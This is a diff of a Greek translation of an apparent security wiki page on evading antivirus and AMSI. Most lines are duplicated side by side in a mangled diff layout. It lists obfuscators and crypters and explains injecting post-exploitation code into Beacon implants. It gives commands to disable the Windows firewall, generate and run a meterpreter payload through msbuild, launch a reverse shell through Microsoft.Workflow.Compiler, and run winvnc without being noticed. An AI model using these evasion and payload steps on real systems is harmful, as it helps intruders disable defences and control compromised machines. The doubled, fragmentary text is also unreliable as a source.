Δεδομένου ότι η AMSI υλοποιείται φορτώνοντας μια DLL στη διαδικασία του powershell (επίσης cscript.exe, wscript.exe, κ.λπ.), είναι δυνατό να παρέμβετε σε αυτήν εύκολα ακόμη και εκτελώντας ως μη προνομιούχος χρήστης. Λόγω αυτού του σφάλματος στην υλοποίηση της AMSI, οι ερευνητές έχουν βρει πολλούς τρόπους για να παρακάμψουν την ανίχνευση AMSI. Δεδομένου ότι η AMSI υλοποιείται φορτώνοντας μια DLL στη διαδικασία powershell (επίσης cscript.exe, wscript.exe, κ.λπ.), είναι δυνατό να παρέμβετε σε αυτήν εύκολα ακόμη και εκτελώντας ως μη προνομιούχος χρήστης. Λόγω αυτού του σφάλματος στην υλοποίηση της AMSI, οι ερευνητές έχουν βρει πολλούς τρόπους για να παρακάμψουν την ανίχνευση AMSI.
**Εξαναγκασμός Σφάλματος** **Εξαναγκασμός Σφάλματος**
@ -241,9 +241,9 @@ Please read [https://rastamouse.me/memory-patching-amsi-bypass/](https://rastamo
* [**InvisibilityCloak**](https://github.com/h4wkst3r/InvisibilityCloak)**: C# obfuscator** * [**InvisibilityCloak**](https://github.com/h4wkst3r/InvisibilityCloak)**: C# obfuscator**
* [**Obfuscator-LLVM**](https://github.com/obfuscator-llvm/obfuscator): Ο στόχος αυτού του έργου είναι να παρέχει ένα ανοιχτού κώδικα fork της [LLVM](http://www.llvm.org/) σουίτας σύνταξης ικανής να παρέχει αυξημένη ασφάλεια λογισμικού μέσω [code obfuscation](http://en.wikipedia.org/wiki/Obfuscation\_\(software\)) και tamper-proofing. * [**Obfuscator-LLVM**](https://github.com/obfuscator-llvm/obfuscator): Ο στόχος αυτού του έργου είναι να παρέχει ένα ανοιχτού κώδικα fork της [LLVM](http://www.llvm.org/) σουίτας σύνταξης ικανής να παρέχει αυξημένη ασφάλεια λογισμικού μέσω [code obfuscation](http://en.wikipedia.org/wiki/Obfuscation\_\(software\)) και tamper-proofing.
* [**ADVobfuscator**](https://github.com/andrivet/ADVobfuscator): Το ADVobfuscator δείχνει πώς να χρησιμοποιήσετε τη γλώσσα `C++11/14` για να δημιουργήσετε, κατά τη διάρκεια της σύνταξης, obfuscated code χωρίς να χρησιμοποιήσετε κανένα εξωτερικό εργαλείο και χωρίς να τροποποιήσετε τον μεταγλωττιστή. * [**ADVobfuscator**](https://github.com/andrivet/ADVobfuscator): Το ADVobfuscator δείχνει πώς να χρησιμοποιήσετε τη γλώσσα `C++11/14` για να δημιουργήσετε, κατά τη διάρκεια της σύνταξης, obfuscated code χωρίς να χρησιμοποιήσετε κανένα εξωτερικό εργαλείο και χωρίς να τροποποιήσετε τον μεταγλωττιστή.
* [**obfy**](https://github.com/fritzone/obfy): Προσθέτει μια στρώση obfuscated operations που δημιουργούνται από το πλαίσιο metaprogramming C++ template, το οποίο θα κάνει τη ζωή του ατόμου που θέλει να σπάσει την εφαρμογή λίγο πιο δύσκολη. * [**obfy**](https://github.com/fritzone/obfy): Προσθέτει μια στρώση obfuscated operations που παράγονται από το πλαίσιο metaprogramming C++ template, το οποίο θα κάνει τη ζωή του ατόμου που θέλει να σπάσει την εφαρμογή λίγο πιο δύσκολη.
* [**Alcatraz**](https://github.com/weak1337/Alcatraz)**:** Το Alcatraz είναι ένας x64 binary obfuscator που είναι ικανός να obfuscate διάφορα διαφορετικά αρχεία pe συμπεριλαμβανομένων: .exe, .dll, .sys * [**Alcatraz**](https://github.com/weak1337/Alcatraz)**:** Το Alcatraz είναι ένας x64 binary obfuscator που είναι ικανός να obfuscate διάφορα διαφορετικά αρχεία pe συμπεριλαμβανομένων: .exe, .dll, .sys
* [**metame**](https://github.com/a0rtega/metame): Το Metame είναι μια απλή μηχανή metamorphic code για αυθαίρετα εκτελέσιμα. * [**metame**](https://github.com/a0rtega/metame): Το Metame είναι ένας απλός κινητήρας metamorphic code για αυθαίρετους εκτελέσιμους.
* [**ropfuscator**](https://github.com/ropfuscator/ropfuscator): Το ROPfuscator είναι ένα λεπτομερές πλαίσιο obfuscation κώδικα για γλώσσες που υποστηρίζονται από LLVM χρησιμοποιώντας ROP (return-oriented programming). Το ROPfuscator obfuscates ένα πρόγραμμα σε επίπεδο κώδικα assembly μετατρέποντας κανονικές εντολές σε ROP chains, αποτρέποντας την φυσική μας αντίληψη της κανονικής ροής ελέγχου. * [**ropfuscator**](https://github.com/ropfuscator/ropfuscator): Το ROPfuscator είναι ένα λεπτομερές πλαίσιο obfuscation κώδικα για γλώσσες που υποστηρίζονται από LLVM χρησιμοποιώντας ROP (return-oriented programming). Το ROPfuscator obfuscates ένα πρόγραμμα σε επίπεδο κώδικα assembly μετατρέποντας κανονικές εντολές σε ROP chains, αποτρέποντας την φυσική μας αντίληψη της κανονικής ροής ελέγχου.
* [**Nimcrypt**](https://github.com/icyguider/nimcrypt): Το Nimcrypt είναι ένα .NET PE Crypter γραμμένο σε Nim * [**Nimcrypt**](https://github.com/icyguider/nimcrypt): Το Nimcrypt είναι ένα .NET PE Crypter γραμμένο σε Nim
* [**inceptor**](https://github.com/klezVirus/inceptor)**:** Το Inceptor είναι ικανό να μετατρέπει υπάρχοντα EXE/DLL σε shellcode και στη συνέχεια να τα φορτώνει * [**inceptor**](https://github.com/klezVirus/inceptor)**:** Το Inceptor είναι ικανό να μετατρέπει υπάρχοντα EXE/DLL σε shellcode και στη συνέχεια να τα φορτώνει
@ -308,18 +308,18 @@ Here is a demo for bypassing SmartScreen by packaging payloads inside ISO files
* **Fork\&Run** * **Fork\&Run**
Αυτό περιλαμβάνει **τη δημιουργία μιας νέας θυσιαστικής διαδικασίας**, την έγχυση του κακόβουλου κώδικα σας μετά την εκμετάλλευση σε αυτή τη νέα διαδικασία, την εκτέλεση του κακόβουλου κώδικα σας και, όταν τελειώσετε, την τερματισμένη της νέας διαδικασίας. Αυτό έχει τα πλεονεκτήματα και τα μειονεκτήματά του. Το πλεονέκτημα της μεθόδου fork and run είναι ότι η εκτέλεση συμβαίνει **εκτός** της διαδικασίας εμφύτευσης Beacon μας. Αυτό σημαίνει ότι αν κάτι στην ενέργεια μετά την εκμετάλλευση πάει στραβά ή πιαστεί, υπάρχει **πολύ μεγαλύτερη πιθανότητα** να **επιβιώσει η εμφύτευσή μας.** Το μειονέκτημα είναι ότι έχετε **μεγαλύτερη πιθανότητα** να πιαστείτε από **Συμπεριφορικές Ανιχνεύσεις**. Αυτό περιλαμβάνει **τη δημιουργία μιας νέας θυσιαστικής διαδικασίας**, την έγχυση του κακόβουλου κώδικα σας σε αυτή τη νέα διαδικασία, την εκτέλεση του κακόβουλου κώδικα σας και όταν τελειώσει, την εξόντωση της νέας διαδικασίας. Αυτό έχει τόσο τα πλεονεκτήματα όσο και τα μειονεκτήματά του. Το πλεονέκτημα της μεθόδου fork and run είναι ότι η εκτέλεση συμβαίνει **έξω** από τη διαδικασία εμφύτευσης Beacon μας. Αυτό σημαίνει ότι αν κάτι στην ενέργεια μετά την εκμετάλλευση πάει στραβά ή πιαστεί, υπάρχει **πολύ μεγαλύτερη πιθανότητα** να **επιβιώσει η εμφύτευσή μας.** Το μειονέκτημα είναι ότι έχετε **μεγαλύτερη πιθανότητα** να πιαστείτε από **Συμπεριφορικές Ανιχνεύσεις**.
<figure><img src="../.gitbook/assets/image (215).png" alt=""><figcaption></figcaption></figure> <figure><img src="../.gitbook/assets/image (215).png" alt=""><figcaption></figcaption></figure>
* **Inline** * **Inline**
Αφορά την έγχυση του κακόβουλου κώδικα σας μετά την εκμετάλλευση **στη δική του διαδικασία**. Με αυτόν τον τρόπο, μπορείτε να αποφύγετε τη δημιουργία νέας διαδικασίας και την σάρωση από το AV, αλλά το μειονέκτημα είναι ότι αν κάτι πάει στραβά με την εκτέλεση του payload σας, υπάρχει **πολύ μεγαλύτερη πιθανότητα** να **χάσετε το beacon σας** καθώς μπορεί να καταρρεύσει. Αφορά την έγχυση του κακόβουλου κώδικα μετά την εκμετάλλευση **στη δική του διαδικασία**. Με αυτόν τον τρόπο, μπορείτε να αποφύγετε τη δημιουργία νέας διαδικασίας και την σάρωση από το AV, αλλά το μειονέκτημα είναι ότι αν κάτι πάει στραβά με την εκτέλεση του payload σας, υπάρχει **πολύ μεγαλύτερη πιθανότητα** να **χάσετε το beacon σας** καθώς μπορεί να καταρρεύσει.
<figure><img src="../.gitbook/assets/image (1136).png" alt=""><figcaption></figcaption></figure> <figure><img src="../.gitbook/assets/image (1136).png" alt=""><figcaption></figcaption></figure>
{% hint style="info" %} {% hint style="info" %}
Αν θέλετε να διαβάσετε περισσότερα σχετικά με τη φόρτωση C# Assembly, παρακαλώ ελέγξτε αυτό το άρθρο [https://securityintelligence.com/posts/net-execution-inlineexecute-assembly/](https://securityintelligence.com/posts/net-execution-inlineexecute-assembly/) και το InlineExecute-Assembly BOF ([https://github.com/xforcered/InlineExecute-Assembly](https://github.com/xforcered/InlineExecute-Assembly)) Αν θέλετε να διαβάσετε περισσότερα σχετικά με τη φόρτωση C# Assembly, παρακαλώ ελέγξτε αυτό το άρθρο [https://securityintelligence.com/posts/net-execution-inlineexecute-assembly/](https://securityintelligence.com/posts/net-execution-inlineexecute-assembly/) και το InlineExecute-Assembly BOF τους ([https://github.com/xforcered/InlineExecute-Assembly](https://github.com/xforcered/InlineExecute-Assembly))
{% endhint %} {% endhint %}
Μπορείτε επίσης να φορτώσετε C# Assemblies **από το PowerShell**, ελέγξτε το [Invoke-SharpLoader](https://github.com/S3cur3Th1sSh1t/Invoke-SharpLoader) και το [S3cur3th1sSh1t's video](https://www.youtube.com/watch?v=oe11Q-3Akuk). Μπορείτε επίσης να φορτώσετε C# Assemblies **από το PowerShell**, ελέγξτε το [Invoke-SharpLoader](https://github.com/S3cur3Th1sSh1t/Invoke-SharpLoader) και το [S3cur3th1sSh1t's video](https://www.youtube.com/watch?v=oe11Q-3Akuk).
@ -330,7 +330,7 @@ Here is a demo for bypassing SmartScreen by packaging payloads inside ISO files
Επιτρέποντας την πρόσβαση στα Δυαδικά Αρχεία Διερμηνέα και το περιβάλλον στο SMB share μπορείτε να **εκτελέσετε αυθαίρετο κώδικα σε αυτές τις γλώσσες εντός της μνήμης** της συμβιβασμένης μηχανής. Επιτρέποντας την πρόσβαση στα Δυαδικά Αρχεία Διερμηνέα και το περιβάλλον στο SMB share μπορείτε να **εκτελέσετε αυθαίρετο κώδικα σε αυτές τις γλώσσες εντός της μνήμης** της συμβιβασμένης μηχανής.
Το repo υποδεικνύει: Ο Defender σαρώνει ακόμα τα σενάρια αλλά χρησιμοποιώντας Go, Java, PHP κ.λπ. έχουμε **περισσότερη ευελιξία για να παρακάμψουμε τις στατικές υπογραφές**. Η δοκιμή με τυχαία μη-αποκρυπτογραφημένα σενάρια reverse shell σε αυτές τις γλώσσες έχει αποδειχθεί επιτυχής. Το repo υποδεικνύει: Ο Defender σαρώνει ακόμα τα σενάρια αλλά χρησιμοποιώντας Go, Java, PHP κ.λπ. έχουμε **περισσότερη ευελιξία για να παρακάμψουμε τις στατικές υπογραφές**. Οι δοκιμές με τυχαία μη-αποκρυπτογραφημένα σενάρια reverse shell σε αυτές τις γλώσσες έχουν αποδειχθεί επιτυχείς.
## Advanced Evasion ## Advanced Evasion
@ -387,8 +387,8 @@ netsh advfirewall set allprofiles state off
**ΠΡΟΕΙΔΟΠΟΙΗΣΗ:** Για να διατηρήσετε την κρυψίνοια δεν πρέπει να κάνετε μερικά πράγματα **ΠΡΟΕΙΔΟΠΟΙΗΣΗ:** Για να διατηρήσετε την κρυψίνοια δεν πρέπει να κάνετε μερικά πράγματα
* Μην ξεκινήσετε το `winvnc` αν είναι ήδη σε εκτέλεση ή θα ενεργοποιήσετε ένα [popup](https://i.imgur.com/1SROTTl.png). ελέγξτε αν είναι σε εκτέλεση με `tasklist | findstr winvnc` * Μην ξεκινήσετε το `winvnc` αν είναι ήδη σε εκτέλεση ή θα ενεργοποιήσετε ένα [popup](https://i.imgur.com/1SROTTl.png). ελέγξτε αν είναι σε εκτέλεση με `tasklist | findstr winvnc`
* Μην ξεκινήσετε το `winvnc` χωρίς το `UltraVNC.ini` στον ίδιο φάκελο ή θα προκαλέσει το άνοιγμα [του παραθύρου ρύθμισης](https://i.imgur.com/rfMQWcf.png) * Μην ξεκινήσετε το `winvnc` χωρίς το `UltraVNC.ini` στον ίδιο φάκελο ή θα προκαλέσει το άνοιγμα του [παραθύρου ρύθμισης](https://i.imgur.com/rfMQWcf.png)
* Μην εκτελέσετε το `winvnc -h` για βοήθεια ή θα ενεργοποιήσετε ένα [popup](https://i.imgur.com/oc18wcu.png) * Μην εκτελείτε το `winvnc -h` για βοήθεια ή θα ενεργοποιήσετε ένα [popup](https://i.imgur.com/oc18wcu.png)
### GreatSCT ### GreatSCT
@ -410,7 +410,7 @@ sel lport 4444
generate #payload is the default name generate #payload is the default name
#This will generate a meterpreter xml and a rcc file for msfconsole #This will generate a meterpreter xml and a rcc file for msfconsole
``` ```
Τώρα **ξεκινήστε τον καταγραφέα** με `msfconsole -r file.rc` και **εκτελέστε** το **xml payload** με: Τώρα **ξεκινήστε τον καταχωρητή** με `msfconsole -r file.rc` και **εκτελέστε** το **xml payload** με:
``` ```
C:\Windows\Microsoft.NET\Framework\v4.0.30319\msbuild.exe payload.xml C:\Windows\Microsoft.NET\Framework\v4.0.30319\msbuild.exe payload.xml
``` ```
@ -503,7 +503,7 @@ catch (Exception err) { }
} }
} }
``` ```
### C# χρησιμοποιώντας μεταγλωττιστή ### C# χρησιμοποιώντας τον μεταγλωττιστή
``` ```
C:\Windows\Microsoft.NET\Framework\v4.0.30319\Microsoft.Workflow.Compiler.exe REV.txt.txt REV.shell.txt C:\Windows\Microsoft.NET\Framework\v4.0.30319\Microsoft.Workflow.Compiler.exe REV.txt.txt REV.shell.txt
``` ```
@ -569,9 +569,9 @@ https://github.com/praetorian-code/vulcan
* [https://github.com/persianhydra/Xeexe-TopAntivirusEvasion](https://github.com/persianhydra/Xeexe-TopAntivirusEvasion) * [https://github.com/persianhydra/Xeexe-TopAntivirusEvasion](https://github.com/persianhydra/Xeexe-TopAntivirusEvasion)
<figure><img src="../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure> <figure><img src="../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
Αν ενδιαφέρεστε για **καριέρα στον hacking** και να χακάρετε το μη χακάρισμα - **προσλαμβάνουμε!** (_απαιτείται άριστη γνώση πολωνικών, γραπτά και προφορικά_). Αν ενδιαφέρεστε για **καριέρα στον hacking** και να χακάρετε το μη χακάρισμα - **προσλαμβάνουμε!** (_απαιτείται άπταιστη γραφή και ομιλία στα πολωνικά_).
{% embed url="https://www.stmcyber.com/careers" %} {% embed url="https://www.stmcyber.com/careers" %}